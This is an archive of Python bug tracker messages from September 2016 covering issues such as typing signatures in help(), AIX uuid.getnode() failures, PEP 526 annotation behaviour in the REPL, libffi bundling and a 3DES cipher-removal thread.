In-Reply-To: <1408528953.84.0.772180232607.issue22233@psf.upfronthosting.co.za>
Message-ID: <1473288266.87.0.509731519147.issue22233@psf.upfronthosting.co.za>


Martin Panter added the comment:

Your modifications look sensible David; thanks for handling this.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue22233>
_______________________________________

From report at bugs.python.org  Wed Sep  7 18:48:27 2016
From: report at bugs.python.org (David E. Franco G.)
Date: Wed, 07 Sep 2016 22:48:27 +0000
Subject: [issue27989] incomplete signature with help function using typing
In-Reply-To: <1473214790.93.0.488939251151.issue27989@psf.upfronthosting.co.za>
Message-ID: <1473288507.2.0.346219489092.issue27989@psf.upfronthosting.co.za>


David E. Franco G. added the comment:

I think that removing the "typing." is for the best, with the example above 

>>> help(foo)
Help on function foo in module __main__:

foo(data:typing.List[typing.Any]) -> typing.Iterator[typing.Tuple[int, typing.Any]]

>>> 


leaving the "typing." produce result that I think are ugly and distracting, not only that, is unnecessary long to convey the same information that can be in a more neat way without it, and more so while more complicated/long the signature is. 

just compare the above with this

>>> help(foo)
Help on function foo in module __main__:

foo(data:List[Any]) -> Iterator[Tuple[int, Any]]:

>>> 

which is a clear winner to me.

Or perhaps alongside modifying inspect.formatannotation also change the __repr__ in typing to exclude the `typing.` or like with for instance TypeVar produce a repr that include some marker instead, like ~ and in that way indicate that one is using typing object resulting in something like this

>>> help(foo)
Help on function foo in module __main__:

foo(data:~List[Any]) -> ~Iterator[~Tuple[int, ~Any]]:

>>> 

which is a little weird but still neat

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27989>
_______________________________________

From report at bugs.python.org  Wed Sep  7 18:50:03 2016
From: report at bugs.python.org (Larry Hastings)
Date: Wed, 07 Sep 2016 22:50:03 +0000
Subject: [issue27995] Upgrade Python 3.4 to OpenSSL 1.0.2h on Windows
In-Reply-To: <1473218507.98.0.0291056472337.issue27995@psf.upfronthosting.co.za>
Message-ID: <1473288603.2.0.427895196552.issue27995@psf.upfronthosting.co.za>


Larry Hastings added the comment:

I talked this over with Steve Dower, the current "platform expert" for Windows.  As he points out: the 3.4 Windows build is effectively unsupported.  The Windows platform expert for Python 3.4 resigned from core Python development.  Also, of course, all future Python 3.4 releases will be source releases only.  In short: if you make this change, you'd probably be the only person who would test it before it goes out the door.

But!  We still have Windows buildbots that can build Python 3.4.  And, since you're using a version of OpenSSL that we have checked in (on svn.python.org), it is theoretically possible to run this build on the buildbots.

So!  My price is: since you're going to have to coordinate with someone with the commit bit for this, you (and they) need to get this to pass on a Python buildbot.  Create a server-side clone, check in the change, and kick off a custom build.  When you get it working, post the results here, and after that you'll have my blessing to check this in to 3.4.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27995>
_______________________________________

From report at bugs.python.org  Wed Sep  7 19:08:19 2016
From: report at bugs.python.org (Steve Dower)
Date: Wed, 07 Sep 2016 23:08:19 +0000
Subject: [issue1602] windows console doesn't print or input Unicode
In-Reply-To: <1197453390.87.0.813702844893.issue1602@psf.upfronthosting.co.za>
Message-ID: <1473289699.43.0.642021493288.issue1602@psf.upfronthosting.co.za>


Steve Dower added the comment:

I can't actually come up with many useful tests for this... so far I can validate that we can open the console IO object from 0, 1, 2, "CON", "CONIN$" and "CONOUT$", get fileno(), check readable()/writable() and close (multiple times without crashing).

Anything else requires a real console with a real person with a real keyboard.

But I fixed a couple of issues in fd handling as a result of the tests, so it's not a complete waste.

----------
Added file: http://bugs.python.org/file44452/1602_6.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue1602>
_______________________________________

From report at bugs.python.org  Wed Sep  7 19:08:24 2016
From: report at bugs.python.org (Raymond Hettinger)
Date: Wed, 07 Sep 2016 23:08:24 +0000
Subject: [issue18844] allow weights in random.choice
In-Reply-To: <1377537825.13.0.508607501106.issue18844@psf.upfronthosting.co.za>
Message-ID: <1473289704.6.0.561918901856.issue18844@psf.upfronthosting.co.za>


Raymond Hettinger added the comment:

There isn't really an option to return a generator because it conflicts the rest of the module that uses lists elsewhere and that allows state to be saved and restored before and after any function call.  One of the design reviewers also said that the generator form would harder for students to use.

I left the text in the examples section unchanged because it is still valid (showing how to make a cumulative distribution and how to build a fast alternative for the special case of small integer weights). Before the 3.6 release, I expect to expand this section to provide recipes for a MCMC application (using choices() with a passed-in CDF) and some other examples suggested by the design reviewers.

The optimization hacks in the other patch don't seem worth it.  The current code is readable and runs fast (the principal steps are all C functions).

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue18844>
_______________________________________

From report at bugs.python.org  Wed Sep  7 19:11:17 2016
From: report at bugs.python.org (Roundup Robot)
Date: Wed, 07 Sep 2016 23:11:17 +0000
Subject: [issue27983] "Cannot perform PGO build because llvm-profdata was not
 found in PATH" error upon make
In-Reply-To: <1473202900.44.0.711175096314.issue27983@psf.upfronthosting.co.za>
Message-ID: <20160907231113.8512.7898.5E1C06A4@psf.io>


Roundup Robot added the comment:

New changeset 279450d88fb0 by Gregory P. Smith in branch '3.5':
Fixes issue# 27983: Cause lack of llvm-profdata tool when using clang -
https://hg.python.org/cpython/rev/279450d88fb0

New changeset 9f2467e13c98 by Gregory P. Smith in branch 'default':
Fixes Issue #27983: Cause lack of llvm-profdata tool when using clang as
https://hg.python.org/cpython/rev/9f2467e13c98

----------
nosy: +python-dev

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27983>
_______________________________________

From report at bugs.python.org  Wed Sep  7 19:12:43 2016
From: report at bugs.python.org (Gregory P. Smith)
Date: Wed, 07 Sep 2016 23:12:43 +0000
Subject: [issue27983] "Cannot perform PGO build because llvm-profdata was not
 found in PATH" error upon make
In-Reply-To: <1473202900.44.0.711175096314.issue27983@psf.upfronthosting.co.za>
Message-ID: <1473289963.88.0.941235740281.issue27983@psf.upfronthosting.co.za>


Changes by Gregory P. Smith <greg at krypto.org>:


----------
assignee:  -> gregory.p.smith
versions:  -Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27983>
_______________________________________

From report at bugs.python.org  Wed Sep  7 19:18:35 2016
From: report at bugs.python.org (Michael Felt)
Date: Wed, 07 Sep 2016 23:18:35 +0000
Subject: [issue28009] core logic of uuid.getnode() is broken for AIX - all
 versions
Message-ID: <1473290315.48.0.840701308825.issue28009@psf.upfronthosting.co.za>


New submission from Michael Felt:

Short version:

the five routines get_node() calls to get the MAC address either fail by definition, or is wrong.

The one routine that works - is wrong because it returns the same value regardless of the system it runs on - wrong character is used to identify the string containing the mac address.

Recommended: correct and call the one routine that can work for AIX.

Details (using Python2.7 as template, applies to all Python3 versions as well)

  +511  def getnode():
  +512      """Get the hardware address as a 48-bit positive integer.
  +513
  +514      The first time this runs, it may launch a separate program, which could
  +515      be quite slow.  If all attempts to obtain the hardware address fail, we
  +516      choose a random 48-bit number with its eighth bit set to 1 as recommended
  +517      in RFC 4122.
  +518      """
  +519
  +520      global _node
  +521      if _node is not None:
  +522          return _node
  +523
  +524      import sys
  +525      if sys.platform == 'win32':
  +526          getters = [_windll_getnode, _netbios_getnode, _ipconfig_getnode]
  +527      else:
  +528          getters = [_unixdll_getnode, _ifconfig_getnode, _arp_getnode,
  +529                     _lanscan_getnode, _netstat_getnode]
  +530
  +531      for getter in getters + [_random_getnode]:
  +532          try:
  +533              _node = getter()
  +534          except:
  +535              continue
  +536          if _node is not None:
  +537              return _node
  +538
  +539  _last_timestamp = None

unixdll_getnode depends on finding uuid_generate_time in either libuuid, libc, or None

On a default install of AIX:
find_library("uuid") returns None
nm -Ae /usr/lib/*.a | grep uuid_generate # does not return a function name, no .a archives are stripped

  +339  def _ifconfig_getnode():
  +340      """Get the hardware address on Unix by running ifconfig."""
  +341      # This works on Linux ('' or '-a'), Tru64 ('-av'), but not all Unixes.
  +342      for args in ('', '-a', '-av'):
  +343          mac = _find_mac('ifconfig', args, ['hwaddr', 'ether'], lambda i: i+1)
  +344          if mac:
  +345              return mac

Does not work on AIX - why call it?

  +347  def _arp_getnode():
  +348      """Get the hardware address on Unix by running arp."""
  +349      import os, socket
  +350      try:
  +351          ip_addr = socket.gethostbyname(socket.gethostname())
  +352      except EnvironmentError:
  +353          return None
  +354
  +355      # Try getting the MAC addr from arp based on our IP address (Solaris).
  +356      return _find_mac('arp', '-an', [ip_addr], lambda i: -1)

Does not work on one Linux system I tried
root at x066:~# arp -an 192.168.129.66
arp: in 2 entries no match found.

on AIX:
root at x064:[/data/prj/aixtools/python/python-2.7.12.1]arp -an 192.168.129.64
  ? (192.168.129.254) at XX:YY:11:aa:ZZ:ca [ethernet] stored in bucket 27
...
Nothing for it's own IP address
again, why call it.

 +358  def _lanscan_getnode():
  +359      """Get the hardware address on Unix by running lanscan."""
  +360      # This might work on HP-UX.
  +361      return _find_mac('lanscan', '-ai', ['lan0'], lambda i: 0)

Again, from comments - looks like it should work on HP-UX, so why call it on AIX
(linux was probably solved via one of the first two, so no impact there)

So, finally, after 4 guaranteed failures the following is called:

 +363  def _netstat_getnode():
  +364      """Get the hardware address on Unix by running netstat."""
  +365      # This might work on AIX, Tru64 UNIX and presumably on IRIX.
  +366      try:
  +367          pipe = _popen('netstat', '-ia')
  +368          if not pipe:
  +369              return
  +370          with pipe:
  +371              words = pipe.readline().rstrip().split()
  +372              try:
  +373                  i = words.index('Address')
  +374              except ValueError:
  +375                  return
  +376              for line in pipe:
  +377                  try:
  +378                      words = line.rstrip().split()
  +379                      word = words[i]
  +380                      if len(word) == 17 and word.count(':') == 5:
  +381                          mac = int(word.replace(':', ''), 16)
  +382                          if mac:
  +383                              return mac
  +384                  except (ValueError, IndexError):
  +385                      pass
  +386      except OSError:
  +387          pass

For AIX - lines 380 and 381 do work - except the answer is ALWAYS the same:

See host x071:
michael at x071:[/usr/lib]netstat -ia
Name  Mtu   Network     Address            Ipkts Ierrs    Opkts Oerrs  Coll
en0   1500  link#2      fa.d1.8c.f7.62.4 553220627     0 181051589     0     0
                        01:00:5e:00:00:01
en0   1500  192.168.129 x071             553220627     0 181051589     0     0
                        224.0.0.1
en1   65390 link#3      fa.d1.8c.f7.62.5  8004448     0 11655497     0     0
                        01:00:5e:00:00:01
en1   65390 192.168.2   mail.aixtools.co  8004448     0 11655497     0     0
                        224.0.0.1
lo0   16896 link#1                         197583     0   197583     0     0
lo0   16896 127         loopback           197583     0   197583     0     0
                        224.0.0.1
lo0   16896 loopback                       197583     0   197583     0     0
                        ff01::1
                        ff02::1:ff00:1

See host x064:
root at x064:[/data/prj/aixtools/python/python-2.7.12.1]netstat -ia
Name  Mtu   Network     Address            Ipkts Ierrs    Opkts Oerrs  Coll
en0   1500  link#2      0.21.5e.a3.c7.44    192718     0    93218     0     0
                        01:00:5e:00:00:01
en0   1500  192.168.129 x064                192718     0    93218     0     0
                        224.0.0.1
lo0   16896 link#1                             231     0      240     0     0
lo0   16896 127         loopback               231     0      240     0     0
                        224.0.0.1
lo0   16896 ::1                                231     0      240     0     0
                        ff01::1
                        ff02::1:ff00:1
                        ff02::1

The answer found is always
01:00:5e:00:00:01

Where, for AIX at least, line 380 and line 381 should be looking at the character '.', not ':'
which is valid for linux, and perhaps others.

So,

two corrections suggested:

line 380 + 381 (or as appropriate per Python version) - modify:

  +378                      words = line.rstrip().split()
  +379                      word = words[i]
  +380                      if sys.platform.startswith("aix"):
  +381                          str = "."
  +382                      else:
  +383                          str = ":"
  +384                      if len(word) == 17 and word.count(str) == 5:
  +385                          mac = int(word.replace(str, ''), 16)
  +386                          if mac:
  +387                              return mac

NOTE: if str need to be a chr, then use that instead.

But much earlier in program logic - modify:

  +525      if sys.platform == 'win32':
  +526          getters = [_windll_getnode, _netbios_getnode, _ipconfig_getnode]
  +527      else:
  +528          getters = [_unixdll_getnode, _ifconfig_getnode, _arp_getnode,
  +529                     _lanscan_getnode, _netstat_getnode]

to

  +529      if sys.platform == 'win32':
  +530          getters = [_windll_getnode, _netbios_getnode, _ipconfig_getnode]
  +531      elif sys.platform.startswith("aix"):
  +532          getters = [_netstat_getnode]
  +533      else:
  +534          getters = [_unixdll_getnode, _ifconfig_getnode, _arp_getnode,
  +535                     _lanscan_getnode, _netstat_getnode]

----------
components: Library (Lib)
messages: 274909
nosy: Michael.Felt
priority: normal
severity: normal
status: open
title: core logic of uuid.getnode() is broken for AIX - all versions
type: behavior
versions: Python 2.7, Python 3.3, Python 3.4, Python 3.5, Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28009>
_______________________________________

From report at bugs.python.org  Wed Sep  7 19:28:36 2016
From: report at bugs.python.org (Steve Dower)
Date: Wed, 07 Sep 2016 23:28:36 +0000
Subject: [issue27781] Change sys.getfilesystemencoding() on Windows to UTF-8
In-Reply-To: <1471405781.01.0.933321108026.issue27781@psf.upfronthosting.co.za>
Message-ID: <1473290916.86.0.89928501819.issue27781@psf.upfronthosting.co.za>


Steve Dower added the comment:

One minor change - I removed the unused definition of Py_FileSystemDefaultDecodeErrors.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27781>
_______________________________________

From report at bugs.python.org  Wed Sep  7 19:34:39 2016
From: report at bugs.python.org (Davin Potts)
Date: Wed, 07 Sep 2016 23:34:39 +0000
Subject: [issue6766] Cannot modify dictionaries inside dictionaries using
 Managers from multiprocessing
In-Reply-To: <1251049590.58.0.809281249474.issue6766@psf.upfronthosting.co.za>
Message-ID: <1473291279.19.0.0870405415976.issue6766@psf.upfronthosting.co.za>


Davin Potts added the comment:

Attaching updated patch to reflect Yury's suggested changes from review.

----------
Added file: http://bugs.python.org/file44453/issue_6766_py36.nogit.yuryfeedback.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue6766>
_______________________________________

From report at bugs.python.org  Wed Sep  7 19:35:05 2016
From: report at bugs.python.org (Berker Peksag)
Date: Wed, 07 Sep 2016 23:35:05 +0000
Subject: [issue1602] windows console doesn't print or input Unicode
In-Reply-To: <1197453390.87.0.813702844893.issue1602@psf.upfronthosting.co.za>
Message-ID: <1473291305.71.0.305490543436.issue1602@psf.upfronthosting.co.za>


Berker Peksag added the comment:

I left some minor comments for Doc/whatsnew/3.6.rst on Rietveld.

In Lib/test/test_winconsoleio.py:

* self.assert_() (deprecated) can be replaced by self.assertTrue()

* We can add

  if __name__ == '__main__':
      unittest.main()

----------
nosy: +berker.peksag

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue1602>
_______________________________________

From report at bugs.python.org  Wed Sep  7 19:37:10 2016
From: report at bugs.python.org (p0lm)
Date: Wed, 07 Sep 2016 23:37:10 +0000
Subject: [issue28010] http.client.HTTPConnection.putrequest incorrect arguments
Message-ID: <1473291430.61.0.706860588682.issue28010@psf.upfronthosting.co.za>


New submission from p0lm:

Currently the arguments for HTTPConnection.putrequest in the http.client documentation are listed as "request, selector, skip_host=False, skip_accept_encoding=False". This does not reflect the correct arguments:
>>> from http.client import HTTPConnection
>>> help(HTTPConnection.putrequest)

putrequest(self, method, url, skip_host=0, skip_accept_encoding=0)
    Send a request to the server.
    
    `method' specifies an HTTP request method, e.g. 'GET'.
    `url' specifies the object being requested, e.g. '/index.html'.
    `skip_host' if True does not add automatically a 'Host:' header
    `skip_accept_encoding' if True does not add automatically an
       'Accept-Encoding:' header

Fix:
Change `request` and `selector` to `method` and `url` respectively.

----------
assignee: docs at python
components: Documentation
messages: 274913
nosy: docs at python, p0lm
priority: normal
severity: normal
status: open
title: http.client.HTTPConnection.putrequest incorrect arguments
type: enhancement
versions: Python 3.5

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28010>
_______________________________________

From report at bugs.python.org  Wed Sep  7 19:41:57 2016
From: report at bugs.python.org (Guido van Rossum)
Date: Wed, 07 Sep 2016 23:41:57 +0000
Subject: [issue27985] Implement PEP 526
In-Reply-To: <1473205727.01.0.952056443906.issue27985@psf.upfronthosting.co.za>
Message-ID: <1473291717.35.0.223739053333.issue27985@psf.upfronthosting.co.za>


Guido van Rossum added the comment:

Hey Ivan, Brett and I divided the review, he started at the bottom and I started at the top, we're meeting at Lib/typing.py.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27985>
_______________________________________

From report at bugs.python.org  Wed Sep  7 19:42:51 2016
From: report at bugs.python.org (Roundup Robot)
Date: Wed, 07 Sep 2016 23:42:51 +0000
Subject: [issue27895] Spelling fixes
In-Reply-To: <1472579160.51.0.388214887835.issue27895@psf.upfronthosting.co.za>
Message-ID: <20160907234247.3168.23362.54D120E5@psf.io>


Roundup Robot added the comment:

New changeset ff3df2b1ac7f by Martin Panter in branch '3.5':
Issue #27895:  Spelling fixes (Contributed by Ville Skytt?).
https://hg.python.org/cpython/rev/ff3df2b1ac7f

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27895>
_______________________________________

From report at bugs.python.org  Wed Sep  7 19:42:51 2016
From: report at bugs.python.org (Roundup Robot)
Date: Wed, 07 Sep 2016 23:42:51 +0000
Subject: [issue27993] In the argparse there are typos with endings in plural
 words
In-Reply-To: <1473218103.32.0.964912945443.issue27993@psf.upfronthosting.co.za>
Message-ID: <20160907234247.3168.21034.739831FC@psf.io>


Roundup Robot added the comment:

New changeset 8f02a1a6b647 by Martin Panter in branch '3.5':
Issue #27993: Fix problems with plural objects in docs and comments
https://hg.python.org/cpython/rev/8f02a1a6b647

New changeset bb2a7134d82b by Martin Panter in branch 'default':
Issue #27993: Merge plural fixes from 3.5
https://hg.python.org/cpython/rev/bb2a7134d82b

----------
nosy: +python-dev

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27993>
_______________________________________

From report at bugs.python.org  Wed Sep  7 19:42:52 2016
From: report at bugs.python.org (Roundup Robot)
Date: Wed, 07 Sep 2016 23:42:52 +0000
Subject: [issue27570] Avoid memcpy(. . ., NULL, 0) etc calls
In-Reply-To: <1468897030.77.0.552858173381.issue27570@psf.upfronthosting.co.za>
Message-ID: <20160907234247.3168.70921.8E44C526@psf.io>


Roundup Robot added the comment:

New changeset e231dcad3a9b by Martin Panter in branch '3.5':
Issue #27570: Avoid zero-length memcpy() calls with null source pointers
https://hg.python.org/cpython/rev/e231dcad3a9b

New changeset 2d0fb659372c by Martin Panter in branch 'default':
Issue #27570: Merge null pointer fixes from 3.5
https://hg.python.org/cpython/rev/2d0fb659372c

----------
nosy: +python-dev

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27570>
_______________________________________

From report at bugs.python.org  Wed Sep  7 19:46:17 2016
From: report at bugs.python.org (Guido van Rossum)
Date: Wed, 07 Sep 2016 23:46:17 +0000
Subject: [issue27985] Implement PEP 526
In-Reply-To: <1473205727.01.0.952056443906.issue27985@psf.upfronthosting.co.za>
Message-ID: <1473291977.39.0.491615344216.issue27985@psf.upfronthosting.co.za>


Guido van Rossum added the comment:

I played with the REPL, and found this:

>>> del __annotations__
del __annotations__
>>> x: int = 0
x: int = 0
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
NameError: __annotations__ not found
>>> 

I would expect this to re-create __annotations__.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27985>
_______________________________________

From report at bugs.python.org  Wed Sep  7 19:49:46 2016
From: report at bugs.python.org (Ivan Levkivskyi)
Date: Wed, 07 Sep 2016 23:49:46 +0000
Subject: [issue27985] Implement PEP 526
In-Reply-To: <1473205727.01.0.952056443906.issue27985@psf.upfronthosting.co.za>
Message-ID: <1473292186.01.0.288185927352.issue27985@psf.upfronthosting.co.za>


Ivan Levkivskyi added the comment:

We discussed this at some point on python/typing. At that time we decided that

class C:

    del __annotations__
    x: int

Should be an error. Do you think that it should behave in a different way in interactive REPL and/or at module level?

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27985>
_______________________________________

From report at bugs.python.org  Wed Sep  7 19:53:28 2016
From: report at bugs.python.org (Roundup Robot)
Date: Wed, 07 Sep 2016 23:53:28 +0000
Subject: [issue6766] Cannot modify dictionaries inside dictionaries using
 Managers from multiprocessing
In-Reply-To: <1251049590.58.0.809281249474.issue6766@psf.upfronthosting.co.za>
Message-ID: <20160907235325.8696.51897.3A722D21@psf.io>


Roundup Robot added the comment:

New changeset 39e7307f9aee by Davin Potts in branch 'default':
Fixes issue #6766: Updated multiprocessing Proxy Objects to support nesting
https://hg.python.org/cpython/rev/39e7307f9aee

----------
nosy: +python-dev

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue6766>
_______________________________________

From report at bugs.python.org  Wed Sep  7 19:56:40 2016
From: report at bugs.python.org (Roundup Robot)
Date: Wed, 07 Sep 2016 23:56:40 +0000
Subject: [issue15767] add ModuleNotFoundError
In-Reply-To: <1345664718.23.0.712313947558.issue15767@psf.upfronthosting.co.za>
Message-ID: <20160907235636.21157.50268.EEE85BDB@psf.io>


Roundup Robot added the comment:

New changeset 90549c3c609c by Eric Snow in branch 'default':
Issue #15767: Add ModuleNotFoundError.
https://hg.python.org/cpython/rev/90549c3c609c

New changeset 5fdb8c897023 by Eric Snow in branch 'default':
Issue #15767: Use ModuleNotFoundError.
https://hg.python.org/cpython/rev/5fdb8c897023

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue15767>
_______________________________________

From report at bugs.python.org  Wed Sep  7 19:57:19 2016
From: report at bugs.python.org (R. David Murray)
Date: Wed, 07 Sep 2016 23:57:19 +0000
Subject: [issue20476] If new email policies are used,
 default message factory should be EmailMessage
In-Reply-To: <1391292485.67.0.381493162498.issue20476@psf.upfronthosting.co.za>
Message-ID: <1473292639.65.0.957504798548.issue20476@psf.upfronthosting.co.za>


R. David Murray added the comment:

Here's the patch to add the message_factory policy attribute.

----------
Added file: http://bugs.python.org/file44454/message_factory.diff

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue20476>
_______________________________________

From report at bugs.python.org  Wed Sep  7 19:58:40 2016
From: report at bugs.python.org (Eric Snow)
Date: Wed, 07 Sep 2016 23:58:40 +0000
Subject: [issue15767] add ModuleNotFoundError
In-Reply-To: <1345664718.23.0.712313947558.issue15767@psf.upfronthosting.co.za>
Message-ID: <1473292720.77.0.278440193388.issue15767@psf.upfronthosting.co.za>


Changes by Eric Snow <ericsnowcurrently at gmail.com>:


----------
resolution:  -> fixed
stage: needs patch -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue15767>
_______________________________________

From report at bugs.python.org  Wed Sep  7 20:01:12 2016
From: report at bugs.python.org (Roundup Robot)
Date: Thu, 08 Sep 2016 00:01:12 +0000
Subject: [issue27911] Unnecessary error checks in exec_builtin_or_dynamic
In-Reply-To: <1472642557.88.0.0235891214723.issue27911@psf.upfronthosting.co.za>
Message-ID: <20160908000109.18872.78283.28BBDA61@psf.io>


Roundup Robot added the comment:

New changeset 96c6816825dc by Brett Cannon in branch 'default':
Issue #27911: Remove some unnecessary error checks in import.c.
https://hg.python.org/cpython/rev/96c6816825dc

----------
nosy: +python-dev

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27911>
_______________________________________

From report at bugs.python.org  Wed Sep  7 20:01:37 2016
From: report at bugs.python.org (Brett Cannon)
Date: Thu, 08 Sep 2016 00:01:37 +0000
Subject: [issue27911] Unnecessary error checks in exec_builtin_or_dynamic
In-Reply-To: <1472642557.88.0.0235891214723.issue27911@psf.upfronthosting.co.za>
Message-ID: <1473292897.41.0.884832280923.issue27911@psf.upfronthosting.co.za>


Brett Cannon added the comment:

Thanks for the patch!

----------
resolution:  -> fixed
stage:  -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27911>
_______________________________________

From report at bugs.python.org  Wed Sep  7 20:04:11 2016
From: report at bugs.python.org (Ivan Levkivskyi)
Date: Thu, 08 Sep 2016 00:04:11 +0000
Subject: [issue27985] Implement PEP 526
In-Reply-To: <1473205727.01.0.952056443906.issue27985@psf.upfronthosting.co.za>
Message-ID: <1473293051.26.0.151154265067.issue27985@psf.upfronthosting.co.za>


Ivan Levkivskyi added the comment:

I could change STORE_ANNOTATION opcode so that it will recreate __annotations__ if __name__ == '__main__'.

Or do you now think that it should re-create it always? I still think that always re-creating __annotations__ if they don't exist seems like silencing a possible error. As I mentioned in previous discussion, I think we should allow people to explicitly del __annotations__ (for example if someone wants to make a class with annotations that are "invisible" to runtime tools) and warn them if later they use annotations.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27985>
_______________________________________

From report at bugs.python.org  Wed Sep  7 20:04:56 2016
From: report at bugs.python.org (Zachary Ware)
Date: Thu, 08 Sep 2016 00:04:56 +0000
Subject: [issue27976] Deprecate building with bundled copy of libffi on
 non-Darwin POSIX platforms
In-Reply-To: <1473184582.63.0.0787669758902.issue27976@psf.upfronthosting.co.za>
Message-ID: <1473293096.51.0.741807665758.issue27976@psf.upfronthosting.co.za>


Zachary Ware added the comment:

Finally got a new patch created.  After talking it over with Ned yesterday, this patch makes sure that nothing changes on OSX.

----------
Added file: http://bugs.python.org/file44455/issue27976.diff

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27976>
_______________________________________

From report at bugs.python.org  Wed Sep  7 20:11:31 2016
From: report at bugs.python.org (Zachary Ware)
Date: Thu, 08 Sep 2016 00:11:31 +0000
Subject: [issue27979] Remove bundled libffi
In-Reply-To: <1473188019.08.0.865772494221.issue27979@psf.upfronthosting.co.za>
Message-ID: <1473293491.67.0.0757163538737.issue27979@psf.upfronthosting.co.za>


Zachary Ware added the comment:

The patch will need to be updated to just completely remove the --with(out)-system-ffi check everywhere but OSX.  It will also need to make some changes after the latest patch in #27976.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27979>
_______________________________________

From report at bugs.python.org  Wed Sep  7 20:11:39 2016
From: report at bugs.python.org (Brett Cannon)
Date: Thu, 08 Sep 2016 00:11:39 +0000
Subject: [issue27868] Unconditionally state when a build succeeds
In-Reply-To: <1472234195.78.0.0298954008611.issue27868@psf.upfronthosting.co.za>
Message-ID: <1473293499.11.0.283454816501.issue27868@psf.upfronthosting.co.za>


Brett Cannon added the comment:

I'm not going to do this because I'm willing to bet someone is relying on the fact nothing is printed to stdout. Benjamin says that if you're not happy with this then "you're not a well-behaved UNIX user".

----------
resolution:  -> rejected
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27868>
_______________________________________

From report at bugs.python.org  Wed Sep  7 20:16:21 2016
From: report at bugs.python.org (Guido van Rossum)
Date: Thu, 08 Sep 2016 00:16:21 +0000
Subject: [issue27985] Implement PEP 526
In-Reply-To: <1473293051.26.0.151154265067.issue27985@psf.upfronthosting.co.za>
Message-ID: <CAP7+vJ+mq_q-94FOE90eH1LRv4EXTH0opmaV=98aa9n1+B5tDQ@mail.gmail.com>


Guido van Rossum added the comment:

Each statement at the REPL should re-initialize __annotations__ if it
contains any annotations. I think this is how exec() already works. It
adds __annotations__ to the namespace as needed, but just updates it
if present. Inside a class it's different, that should be considered a
single block.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27985>
_______________________________________

From report at bugs.python.org  Wed Sep  7 20:22:07 2016
From: report at bugs.python.org (Ivan Levkivskyi)
Date: Thu, 08 Sep 2016 00:22:07 +0000
Subject: [issue27985] Implement PEP 526
In-Reply-To: <1473205727.01.0.952056443906.issue27985@psf.upfronthosting.co.za>
Message-ID: <1473294127.94.0.863678056941.issue27985@psf.upfronthosting.co.za>


Ivan Levkivskyi added the comment:

> I think this is how exec() already works

This is not exactly like this, exec() emits ast.Module while interactive input emits ast.Interactive (this one skips compiler_body in compile.c), but I think I have got your point, will fix this.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27985>
_______________________________________

From report at bugs.python.org  Wed Sep  7 20:25:23 2016
From: report at bugs.python.org (Roundup Robot)
Date: Thu, 08 Sep 2016 00:25:23 +0000
Subject: [issue27930] logging's QueueListener drops log messages
In-Reply-To: <1472742959.65.0.510011909854.issue27930@psf.upfronthosting.co.za>
Message-ID: <20160908002515.59576.37100.CDE5B188@psf.io>


Roundup Robot added the comment:

New changeset 121b5b41c9e8 by Vinay Sajip in branch 'default':
Fixes #27930: improved QueueListener behaviour.
https://hg.python.org/cpython/rev/121b5b41c9e8

New changeset b2ea0ede3753 by Vinay Sajip in branch '3.5':
Fixes #27930: improved QueueListener behaviour.
https://hg.python.org/cpython/rev/b2ea0ede3753

New changeset 89b185372b2c by Vinay Sajip in branch 'default':
Closes #27930: Merged fix from 3.5.
https://hg.python.org/cpython/rev/89b185372b2c

----------
nosy: +python-dev
resolution:  -> fixed
stage:  -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27930>
_______________________________________

From report at bugs.python.org  Wed Sep  7 20:26:12 2016
From: report at bugs.python.org (Jim Jewett)
Date: Thu, 08 Sep 2016 00:26:12 +0000
Subject: [issue27850] Remove 3DES from cipher list (sweet32 CVE-2016-2183)
In-Reply-To: <1473216953.9.0.268969446533.issue27850@psf.upfronthosting.co.za>
Message-ID: <CA+OGgf5_=15oakVVV6qsTBbhhUTe+ECAcJNSGnrV=22XZJ+-PA@mail.gmail.com>


Jim Jewett added the comment:

On Sep 6, 2016 10:55 PM, Donald Stufft added the comment:

> In the hypothetical case we don't backport ChaCha20 support and 3DES and
AES constructs in TLS are no longer secure... what do you do? Do you just
plug your fingers in your ears and hope nobody attacks you?

That works fine for an awful lot of uses.

